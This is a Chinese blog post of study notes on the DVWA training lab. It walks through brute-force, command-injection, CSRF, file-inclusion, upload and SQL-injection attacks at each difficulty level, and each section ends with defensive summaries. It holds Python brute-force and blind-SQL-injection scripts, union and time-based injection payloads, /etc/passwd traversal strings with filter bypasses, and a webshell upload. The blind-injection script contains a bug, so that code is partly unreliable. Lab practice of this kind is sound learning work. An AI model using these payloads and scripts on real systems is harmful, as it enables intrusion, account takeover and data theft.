DVWA靶场学习

dvwa靶场学习

容器相关

启动容器:

systemctl start docker.service

列出可用容器:

docker ps -a

删除镜像:

docker rmi [image_id]

删除容器:

docker rm [container_id]

启动dvwa容器:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

测试dvwa

暴力破解

low难度

bp爆破方法

使用bp抓包,右键send to intruder。

设置爆破方式和爆破位置。

载入字典开始爆破,记得两个payload set都要载入字典。

爆破结束点击length排序,发现不同的响应包,即为我们需要的账号密码。

medium难度

阅读源码,寻找改动

$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

这里加入了特殊字符过滤函数mysql_real_escape_string(),将

\x00

\n

\r

\

'

"

\x1a

特殊字符进行转义,一定程度避免了SQL注入攻击,对爆破影响不大。

接着在下面连接部分找到了对请求时间的限制,加入了sleep(2)降低被爆破的速度,但是可以通过多线程的方式来加快爆破进度。

bp爆破方法

我们修改bp中的进程池使得每次执行100个请求。

从结果上看,还是非常低效。

python爆破方法

在网上寻找参考材料,发现了可以尝试使用python脚本进行爆破。

# _*_coding:utf-8_*_
import threading
import requests


def connect(username, password):
    semaphore.acquire()

    url = 'http://192.168.85.142/vulnerabilities/brute/'
    headers = {"Cookie": "PHPSESSID=1ah2mgfmr5ihucdo7o5v1q9h06; security=medium"}
    params = {'username': username, 'password': password, 'Login': 'login'}
    response = requests.get(url, params=params, headers=headers)
    if "Welcome to the password protected area" in response.text:
        print("\033[31;1musername:%s,password:%s----right account!\033[0m" % (username, password))
    else:
        print("username:%s,password:%s----wrong account!" % (username, password))

    semaphore.release()


semaphore = threading.BoundedSemaphore(200)  # 生成信号量实例,最多允许200个线程同时运行

f1 = open("name.txt", 'r')
for line1 in f1:
    username = line1.strip()
    f2 = open("pass.txt", 'r')
    for line2 in f2:
        password = line2.strip()
        t = threading.Thread(target=connect, args=(username, password,), )
        t.start()
    f2.close()
f1.close()

项目结构:

运行发现,效率同样不高。

high难度

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' )

增加了user_token和session_token的检查

$user = stripslashes( $user );

删除了反斜杠的影响,进一步防止SQL注入

generateSessionToken();

生成token用于和user_token比对

bp爆破方法

在这个难度中使用了token,重复发送请求包受到了获取token值的限制,于是我们需要每次都从页面中获取该token,修改请求包。

由于这样的token机制,修改为单线程。

由于每次都需要重新获取token,所以必须允许重定向,在option中修改

接下来进行爆破字段的设置,注意这次试用的是Pitchfork,所以修改第一个payload为如下所示:

第三个字段采用匹配的方式,设置起始和结尾截取中间部分!

设置初始初始payload:defccf58cef1522af5fd4eb59c21261e

接着通过对不同长度的包的token进行检查从而获取正确的用户名密码。

python爆破方法
# _*_coding:utf-8_*_
import requests
from bs4 import BeautifulSoup

url = 'http://192.168.85.142/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=1ah2mgfmr5ihucdo7o5v1q9h06"}
flag = False

f1 = open("name_1.txt", 'r')
for line1 in f1:
    username = line1.strip()
    f2 = open("pass.txt", 'r')
    for line2 in f2:
        # 访问首页
        response1 = requests.get(url,headers=headers)
        # 获取user_token
        soup = BeautifulSoup(response1.text, "xml")
        user_token = soup.find_all('input')[3]["value"]
        # 发送登录数据包
        password = line2.strip()
        params = {'username': username, 'password': password, 'Login': 'login','user_token':user_token}
        response2 = requests.get(url, params=params, headers=headers)
        if "Username and/or password incorrect." in response2.text:
            print("username:%s,password:%s,user_token:%s----wrong account!" % (username, password, user_token))
        else:
            print("\033[31;1musername:%s,password:%s,user_token:%s----right account!\033[0m" % (username, password, user_token))
            flag = True
            break
    if flag == True:
        break
    f2.close()
f1.close()

需要新建一个全是admin的name_1文件

暴力破解部分总结

为了防止暴力破解的发生通常有以下手段:

  1. 通过设置每次请求的间隔时间,来降低爆破的效率。
  2. 通过设置token值来防止多线程的爆破,再次降低爆破的效率。
  3. 通过设置登陆尝试次数,将超过尝试的账户进行冻结,并设置冻结时间,很大程度限制了爆破。

命令注入

参考链接:

https://owasp.org/www-community/attacks/Command_Injection

命令查找:

https://www.ss64.com/nt/

https://ss64.com/bash/

low难度

我们可以通过

; && & | ||

重定向输入和输出。

在java中的Runtime.exec()不会直接将参数传递给/bin/sh进行解析,而是将字符串拆分成字符数组,将除了第一个字串以外当做参数值,所以关于shell的上述特性是无法使用的。

源码中看到直接使用shell_exec()进行命令执行,并且适用于多种内核。

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

medium难度

在这个难度加了黑名单机制,但是明显过滤得不到位,没有过滤| || &

// Set blacklist
$substitutions = array(
     '&&' => '',
     ';'  => '',
);
// Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

所以我们还能照搬上面的方式进行命令注入。

high难度

这里增加了黑名单里的过滤字符,使得常见的分隔符不能使用。

$substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

但令人震惊的是|竟然没有被过滤,其过滤的是|+空格 ;于是我们可以采用之前的方式进行命令注入。

命令注入部分总结

为了防止命令注入通常有以下的手段:

  1. 黑名单方式过滤掉常见分隔符
  2. 对输入字符串进行严格的格式处理,保证满足输入的正确性

CSRF攻击

参考链接:

https://zhuanlan.zhihu.com/p/565945383

low难度

首先输入两个不一样的密码,然后提交,发现页面跳转至

http://6b2bb32e-367f-48eb-ae42-5f0323885f0c.node4.buuoj.cn:81/vulnerabilities/csrf/?password_new=gh&password_conf=shfj&Change=Change#

的位置,于是我们想到在url上动手脚,修改为:

http://6b2bb32e-367f-48eb-ae42-5f0323885f0c.node4.buuoj.cn:81/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

访问一下便修改成功。

除此之外,我们可以利用抓包来嵌入一个页面,重定向到一个我们想要的url。

使用bp抓包,右键选择response这个请求包。

接下来把自己的POC粘贴进response包中。

放包发现先是跳转到了我们的注入页面,接着直接修改成功了。

medium难度

这个难度中在请求中加入了Referer字段,我们在注入页面的时候需要注意。

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

我们在抓到的请求包中将Referer复制下来。

在response包中做对应修改。

接着和之前一路放包就好了。

high难度

这个难度增加了对抗CSRF的token值

// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION['session_token' ], 'index.php' );

我们把response包的token复制下来。

6d9b9cbf39f3f54bf84156ad8e7741f

在response包中修改对应值,还要记得不要忘记加上referer。

接下来一路放包就可以了。

CSRF攻击部分总结

  1. 通过加入一些限制字段可以加大CSRF攻击的难度,如:Referer字段。
  2. 通过加入usertoken校验登陆者的身份,在注入的新页面中需要提交usertoken,加大CSRF攻击的难度。
  3. 通过对现有密码的存在验证,避免了攻击者直接通过CSRF直接修改密码,密码的存在性只能靠暴力破解或者猜解不属于CSRF的范畴。

文件包含漏洞

参考链接:

https://en.wikipedia.org/wiki/Remote_File_Inclusion

远程文件包含(RFI),当Web 应用程序下载并执行远程文件时,这些远程文件通常以HTTP或FTP URI的形式作为用户提供给 Web 应用程序的参数获取。

本地文件包含(LFI), 类似于远程文件包含漏洞,只是不包含远程文件,而是只包含本地文件,即当前服务器上的文件,以便执行。这个问题仍然可以通过包含一个包含攻击者控制的数据(例如 Web 服务器的访问日志)的文件来导致远程代码执行。

由于allow_url_include is not enabled.所以我们只进行LFI测试。

low难度

?page=../../../../../etc/passwd(有可能需要在最后加%00截断字符)

这个路径访问的是Unix类似系统的用户管理信息包含以下的字段:

用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

下图中我们可以对应地看到实现了访问。

medium难度

代码中加入了过滤字段:

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

可以看到我们难以使用相对路径进行文件的访问,但这里的str_replace可以通过双写进行绕过于是我们构造并实现访问。

?page=..././..././..././..././..././etc/passwd

high难度

阅读关键代码发现只允许file开头的文件名,并且不为include.php

于是我们考虑到使用PHP中的file伪协议。

使用file伪协议来访问/etc/passwd,由于该协议访问的是绝对路径,所以我们直接访问就可以了,不需要用之前的../一级一级访问。

文件包含漏洞总结

  1. 文件包含漏洞的利用很依赖于权限的开放,在后端配置文件中需要将

    allow_url_fopen参数(只影响RFI,不影响LFI)

    简介:是否允许将URL(HTTP,HTTPS等)作为文件打开处理

    allow_url_include参数(只影响RFI,不影响LFI)
    简介:是否允许includeI()和require()函数包含URL(HTTP,HTTPS)作为文件处理

  2. 通过在后端代码中通过白名单限制,最大限度限制文件访问。

  3. 通过在后端代码设置过滤机制,过滤某些用来利用文件包含漏洞的字符或字符串。

文件上传漏洞

low难度

我们先制作一个php文件,内容为一句话木马:

接着上传至服务器,可以看到服务器返回了上传的url:

http://b4871693-7c73-4508-84ad-c5f1f29db2b5.node4.buuoj.cn:81/hackable/uploads/shell.php

接着打开蚁剑,添加数据成功getshell。

medium难度

这个难度增加了对于上传文件的大小和类型进行了限制,上传文件的类型限制为jpeg或者png,大小小于100000比特。

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) )

由于这里检查的是文件类型,于是我们想到通过抓包来改变Content-Type的值为image/jpeg

接着就是重复上述,使用蚁剑进行连接。

high难度

由于这里需要借助本地文件包含漏洞,于是给出参考链接:

https://blog.csdn.net/qq_39174983/article/details/111983259

文件上传漏洞总结

参考链接:

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

  1. 允许上传的文件类型应仅限于业务功能所需的文件类型。
  2. 切勿在没有允许列表过滤器的情况下直接接受文件名及其扩展名。
  3. 应用程序应该对上传到服务器的任何文件执行过滤和内容检查。在提供给其他用户之前,应彻底扫描和验证文件。如有疑问,应丢弃该文件。
  4. 有必要在 Web 应用程序上列出仅允许的扩展名。并且,可以从列表中选择文件扩展名。例如,它可以是一个“select case”语法(在有 VBScript 的情况下)来选择关于真实文件扩展名的文件扩展名。
  5. 所有控制字符和 Unicode 字符都应从文件名及其扩展名中删除,无一例外。另外,“;”、“:”、“>”、“<”、“/”、“\”、附加的“.”、“*”、“%”、“$”等特殊字符on 也应该被丢弃。如果适用且不需要 Unicode 字符,强烈建议只接受字母数字字符和仅 1 个点作为文件名和扩展名的输入;其中文件名和扩展名根本不能为空(正则表达式:[a-zA-Z0-9]{1,200}.[a-zA-Z0-9]{1,10})。
  6. 限制文件名长度。例如,在 NTFS 分区中,文件名加上扩展名的最大长度应小于 255 个字符(不包含任何目录)。
  7. 建议使用算法来确定文件名。例如,文件名可以是文件名加上日期的 MD5 散列值。
  8. 上传的目录不应具有任何“执行”权限,并且应从这些目录中删除所有脚本处理程序。
  9. 将文件大小限制为最大值,以防止拒绝服务攻击(针对文件空间或其他 Web 应用程序的功能,例如图像缩放器)。
  10. 限制小文件,因为它们可能导致拒绝服务攻击。因此,应考虑文件的最小大小。
  11. 使用跨站点请求伪造保护方法。
  12. 防止在两者具有相同哈希值的情况下覆盖文件。
  13. 在服务器上使用病毒扫描程序(如果适用)。或者,如果文件内容不是机密的,可以使用免费的病毒扫描网站。在这种情况下,应先将文件以随机名称且不带任何扩展名存储在服务器上,并在病毒检查(上传到免费病毒扫描网站并取回结果)后,将其重命名为其特定名称并扩大。
  14. 尝试使用 POST 方法而不是 PUT(或 GET!)
  15. 记录用户的活动。但是,日志记录机制应该防止日志伪造和代码注入本身。
  16. 如果有压缩文件提取功能,则应将压缩文件的内容作为新文件逐一检查。
  17. 如果可能,请考虑将文件保存在数据库中而不是文件系统中。
  18. 如果文件应保存在文件系统中,请考虑使用具有不同域的隔离服务器来为上传的文件提供服务。
  19. 如果可能,文件上传器应该只能由经过身份验证和授权的用户访问。
  20. 应从上传文件夹以外的文件和文件夹中删除写入权限。上传文件夹不应提供任何服务
  21. 确保不能使用文件上传器替换“.htaccess”或“web.config”等配置文件。确保适当的设置可用于忽略上传目录中上传的“.htaccess”或“web.config”文件。
  22. 确保不能执行具有双扩展名的文件(例如“file.php.txt”),尤其是在 Apache 中。
  23. 确保上传的文件不能被未经授权的用户访问。
  24. 在静态文件的响应中添加“Content-Disposition: Attachment”和“X-Content-Type-Options: nosniff”标头将保护网站免受基于 Flash 或 PDF 的跨站点内容劫持攻击。建议对处理文件下载的所有模块中用户需要下载的所有文件执行此做法。尽管此方法不能完全保护网站免受使用 Silverlight 或类似对象的攻击,但它可以降低使用 Adobe Flash 和 PDF 对象的风险,尤其是在允许上传 PDF 文件时。
  25. 如果没有使用 Flash/PDF (crossdomain.xml) 或 Silverlight (clientaccesspolicy.xml) 跨域策略文件,并且没有业务要求 Flash 或 Silverlight 应用程序与网站通信,则应将其删除。
  26. 应该为 crossdomain.xml 和 clientaccesspolicy.xml 文件禁用浏览器缓存。这使网站能够在必要时轻松更新文件或限制对 Web 服务的访问。检查客户端访问策略文件后,它对浏览器会话仍然有效,因此非缓存对最终用户的影响最小。根据目标网站的内容以及策略文件的安全性和复杂性,这可以作为低风险或信息风险问题提出。
  27. 应审查 CORS 标头以仅对静态或可公开访问的数据启用。否则,“Access-Control-Allow-Origin”标头应仅包含授权地址。其他 CORS 标头(例如“Access-Control-Allow-Credentials”)仅应在需要时使用。如果不需要,应审查并删除 CORS 标头中的项目,例如“Access-Control-Allow-Methods”或“Access-Control-Allow-Headers”。

SQL Injection

low难度

sql注入不必多说,但是在手工注入之前我使用了一下sqlmap发现总是会重定向到登录界面无法使用,于是开始我们的手工注入。

1'  
闭合符号
1'# 
判断注释符能否生效
1'order by 2# 
判断字段数目
1'union select 1,(select group_concat(schema_name) from information_schema.schemata)# 
联合注入查数据库名:dvwa,information_schema
1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="dvwa")# 
联合注入查表名:guestbook,users
1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users")# 
联合注入查字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
1'union select (select group_concat(user) from dvwa.users),(select group_concat(password) from dvwa.users)#
联合注入查字段值:
First name: admin,gordonb,1337,pablo,smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

密码是MD5值可以使用在线解密网站进行猜解:

https://www.somd5.com/

但是这里是解密不出来的。

medium难度

本题需要bp抓包进行注入,发现是数字型注入,无需闭合符号。

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

我们查看发现过滤了特殊字符,详情请见暴力破解的medium部分

于是我们在注入时采用十六进制绕过的方法:

1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users")#

转换为

1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#

接下去注入便和low难度完全相同了。

high难度

阅读代码发现,这里是对查询的行数进行了限制。但由于我使用的是联合查询并且加入了group_concat()函数,于是无关紧要。

其它部分均与low难度payload一致。

SQL Injection (Blind)

low难度

时间盲注

1' and if(length(database())>3,sleep(3),1)#
判断数据库长度
1' and if(ord(substr(database(),1,1))=100,sleep(3),1)#
判断当前数据库从第一个字符开始长度为1的字符串的ascii值是否为100.即小写d
1' and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=103,sleep(3),1)#
判断当前数据库的第一个表名的第一个字母是否为g
1' and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),1,1))=117,sleep(3),1)#
判断user表的第一个字段的第一个字符是否为u

python脚本解决,我在自行调试的时候由于request包发包到请求的时间过慢,于是导致时间盲注的效率特别低,我觉得可以多采用其他方式。

# _*_coding:utf-8_*_
import requests
from urllib import parse

base_url = ""  # url直到?id=
headers = {"Host": "",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
           "Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8",
           "Accept-Encoding": "gzip, deflate",
           "Connection": "keep-alive",
           "Referer": "",
           "Upgrade-Insecure-Requests": "1",
           "Cookie": ""}  # 这部分在请求包里自行查找


def get_database_length():
    global base_url, headers
    length = 1
    while True:
        id = "1' and if(length(database()) = " + str(length) + ",1,sleep(4))#"
        id_real = parse.quote(id)
        url = base_url + id_real + "&Submit=Submit#"  # 进行url编码
        try:
            requests.get(url=url, headers=headers, timeout=3)
        except Exception:
            print("database length", length, "failed!")
            length += 1
        else:
            print("database length", length, "success")
            print("payload:", id)
            break
    print(f"database length is {length}")
    return length


def get_database_name(database_length):
    global base_url, headers
    database = ""
    for i in range(1, database_length + 1):
        l, r = 0, 127  # 神奇的申明方法
        while (1):
            ascii_1 = (l + r) // 2
            id_equal = "1' and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii_1) + ", 1, sleep(8))#"
            try:
                requests.get(base_url + parse.quote(id_equal) + "&Submit=Submit#", headers=headers, timeout=7)
            except Exception:
                id_bigger = "1' and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(8))#"
                try:
                    requests.get(base_url + parse.quote(id_bigger) + "&Submit=Submit#", headers=headers, timeout=7)
                except Exception:
                    r = ascii_1 - 1
                else:
                    l = ascii_1 + 1
            else:
                database += chr(ascii_1)
                print("目前已知数据库名", database)
                break

    print("数据库名为", database)
    return database


if __name__ == '__main__':
    database_length = get_database_length()
    database_name = get_database_name(database_length)

medium难度

这个难度增加了特殊字符的过滤,这个mysqli_real_escape_string函数已经非常熟悉了,并且这里固定了输入框输入的内容,所以得使用bp进行中间人攻击。

$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

这里我们可以采用SQL Injection中的medium难度方法进行十六进制绕过,避免使用单双引号。

high难度

与low难度不同的是这里跳转到了另一个页面可以防止中间人攻击。

这里无法使用时间盲注了,由于设置了随机延迟时间。

// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
   sleep( rand( 2, 4 ) );
}

在sql语句中添加LIMIT1,以此限定每次输出的结果只有1个记录,不会输出所有记录。

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

可以使用布尔盲注

1' and length(database())=4#

判断数据库长度

接下来的盲注和之前的时间盲注很类似,就不赘述了

SQL注入的总结

  1. 采用严格的输入类型检查可以有效地防止注入
  2. 采用过滤手段过滤特殊字符
  3. 采用新页面跳转防止中间人攻击

Weak Session IDs

low难度

很容易看出这个新生成的session值是与鼠标单击次数相关的。

medium难度

这个难度是与时间戳有关的,也比较容易看出来。

if ($_SERVER['REQUEST_METHOD'] == "POST") {
  $cookie_value = time();
  setcookie("dvwaSession", $cookie_value);
}

根据在线时间戳转换工具:

high难度

这个采用md5加密的方法。

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

3eea3d4edb797f00cee2573fc25df43

在线md5解密网站:https://www.cmd5.com/

a837a801eed3bef2dd4f0d3b2fef67b

Weak Session总结

可以通过hash算法如:sha1,对关于时间的线性算法进行消息摘要,时间的线性算法可以再通过md5进行加密,如果说加入了随机种子更能增加伪造难度。

posted @ 2023-03-02 22:37  merk11  阅读(99)  评论(0编辑  收藏  举报
Live2D